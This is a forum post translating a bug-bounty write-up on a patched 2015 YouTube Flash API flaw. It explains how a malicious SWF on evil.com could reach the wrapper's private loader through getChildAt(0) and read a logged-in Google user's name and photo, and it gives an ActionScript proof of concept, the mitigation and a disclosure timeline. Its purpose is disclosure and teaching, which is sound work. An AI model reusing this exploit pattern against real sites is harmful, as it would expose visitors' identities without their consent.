看雪论坛
发新帖

[翻译]YouTube里面的高级flash漏洞-第一部分

daemond 2017-9-9 23:53 241

为什么Flash还荼毒人间?

Flash依然是一个威胁。在2017年,我报导了Facebook,Youtube,WordPress,Yahoo,Paypal和Stripe上的Flash漏洞,在过去的三年里,我有报告了超过50个赏金程序bug的flash漏洞,赚了80K+的奖金。而且还有更多的我没有报告,或者我报了也没有修复。


另外,Flash已经被新的javascript/html5特性所取代。这些特性增加了复杂度和新的类型的漏洞,比如不好的CROS实现,由postMessage或者XHR Request,引起的DOM Xsses。了解Flash的失误可以帮助设计实施更加安全的javascript程序。这个新的Youtube html5的Api很可能是从Youtube的Flash Api移植到lavascript上的,使得它学起来更有趣。实际上,我通过所掌握的Flash Api的知识就能找到Youtube的html5的xsses。

我会解释我在Youtube的Flash Api中发现的一些高级的Flash漏洞,并且在这个过程中和Html/javascript做一个对比。这个太专业了,所以有槽尽管吐。如果有人不太明白或者想增长新知识。你可以看一下这里的Flash安全模型。


逆向工程Youtube的Flash Api


Youtube Flash Api允许开发者在外部网站嵌入youtube的视频。

这是APi流程图:


这个入口函数,Youtube Wrapper,是一个位于youtube.com/v/[Video_ID]的一个Flash文件,这只是HTML页面和主App的一层包装。主App是一个大约100k的一个大Flash文件,被放置在域名为s.ytimg.com的沙盒内。

这些模块处理类似于副标题或者广告之类的可选函数。他们不能是单独的Flash文件,必须得被主App加载才行。

另外,还有一个Flash到JavaScript的Api,允许html页面给youtube api发送诸如play(),pause()之类的命令。Flash文件也会执行ajax风格的跨域请求,加载配置文件和视频内容。


用户信息泄露

从一个简单的漏洞开始讲起吧,这有一个在Flash ActionScript3中的简化版的Youtube封装器代码。

public class YoutubeWrapper extends Sprite{

    private var user_name = "The Victim";

    private var user_picture = "https://googleusercontent.com/.../victim_photo.jpg";

    private var appLoader = new Loader();

    public function YoutubeWrapper(){

        // allow external javascript/Flash files to access its public properties

        Security.allowDomain("*");

        // load the Main App

        this.appLoader .load(new URLRequest("https://s.ytimg.com/.../watch_as3.swf");

        // add as child of display container

        this.addChild(this.appLoader );

        // loaderInfo.sharedEvents Api

        this.loader.contentLoaderInfo.sharedEvents

        .addEventListener("REQUEST_USERINFO", this.onRequestUserinfo);

    }

    private function onRequestUserinfo(event:Event){

        // write the user info into the event.data property

        // which is accessible to the sharedEvents caller

        event.data.user_name = this.user_name;

        event.data.user_image = this.user_image;

    }

}


youtube封装器立即生成,它的属性“User_name”包含了google用户的名字(如果他是连接到google的)这个属性"user_picture"包含了用户轮廓图的链接。在这个bug中,攻击者会窃取这些数值。

youtube封装器能从开发者自己的Flash文件中加载(还是叫它恶意封装器)这种情况下,它们都能在一个不同的Flash保密的沙盒中执行。


加载一个外部的flash文件跟Html中加载\<iframe>很相似。如果这个iframe来自于一个跟它的父类不同的源,他们因为Same-Origin Policy (SOP)原则就不能访问到彼此的属性。


Youtube封装器包含了这段代码Security.allowDomain(“*”)来允许JavaScript给Flash app发送play(),Pause()等命令。这还意味着恶意封装器可以获取到任何公开的属性,就好像它也在同一个沙盒里一样。然而,它是访问不到私有属性的。

user_name这个属性提供了loaderInfo.sharedEvents用于加载器和一个已加载文件之间通信。当这个主app分发一个时间给这个sharedEvents接口。这个youtube封装器接收这个事件并使用event.data属性把用户信息发送回去。

这跟javascript的postMessage api允许跨域ifames通讯一样的道理。postMessage的api不仅可以被iframes和他的父类使用,还可以给其他链接到iframe和父类的window使用。任何任意域都可以通过window.open和window.frames获取这些链接,也不受被SOP限制。

如果恶意加载器能获取到这个特别的loaderInfo对象,就能给YouTube封装器发送一个事件并窃取用户信息。

loaderInfo是一个appLoader的属性,它是youtube封装器的一个私有属性,所以恶意封装器不能获取到。

然而,使用加载器时,如果你想显示这个加载的文件,你得把它当做显示容器的一个子对象。通常可以通过this.addChild(this.loader)方法来加入;实际上youtube就是这么做的。

问题在于,youtube封装器还有一个内建的公有方法getChildAt(),返回这个youtube封装器的孩子对象,这意味着,恶意封装器可以调用

 把一个属性设置成“私有”被称为封装,然而,只有这个引用是私有的,而不是这个引用指向的对象。从这儿,恶意封装器可以获取到YoutubeWrapper.getChildAt(0).loaderInfo.sharedEvents,它是youtube封装器和主app之间的接口。恶意程序可以发送事件给youtube封装器,这个youtube封装器会在event.data里提供用户的信息,恶意的封装器也能读到这个event.data的值。


概念验证

POC工作流:

var loader = new Loader();

// Load the Youtube Wrapper

loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));

var youtubeWrapper = loader.content;

// Access the Youtube Wrapper appLoader object

var appLoader = youtubeWrapper.getChildAt(0);

// Access the loaderInfo.sharedEvents of appLoader

var LeakingSharedEvents = appLoader.contentLoaderInfo.sharedEvents;

// Prepare the event to send to Youtube Wrapper

var leakEvent = new Event("Request_username");

leakEvent.data = new Object();

// Send the leakEvent to the LeakingSharedEvents

LeakingSharedEvents.dispatchEvent(leakEvent);

// The username is now accessible in the event.data property

trace(leakEvent.data.user_name);

trace(leakEvent.data.user_picture);


攻击方案:

前提:受害人记录在Google上,并且有flase player播放器

(1)受害者访问这个攻击者的网站evil.com/evil.html,网站包含了一个flash对象evil.com/evil.swf。

(2)evil.swf加载Youtube封装器并检索用户的Google账号。


影响:

任何网站都能用这个知道用户的身份,如果他们是使用Google来连接的话。想象一下,你随便访问一个网站都会显示你的名字和你的照片是什么感觉。

减灾:

为了解决这个问题,YouTube封装器停止往event.data属性里面写用户信息,取而代之的,把他直接发给了主APP。这样的话,即使是恶意的封装器给YouTube封装器发送事件,它也不会收到这个用户信息,因为信息都发给主APP了。


时间线:

08/27/2015 – 报告给Google VRP

09/09/2015 – 问题修复,获得奖励

 

这是一个简单的bug,我希望能给你启发,理解这儿的这些基本的挑战。你可以看一下另一个bug,在part 2部分,我们在youtube里面可以执行任意的Flash代码。

原文:https://opnsec.com/2017/08/advanced-flash-vulnerabilities-in-youtube/

翻译:【看雪翻译小组】daemond


本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (1)
小黑一名 2017-9-10 00:46
2
前排膜拜大佬~~
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.012, SQL: 9 / 京ICP备10040895号-17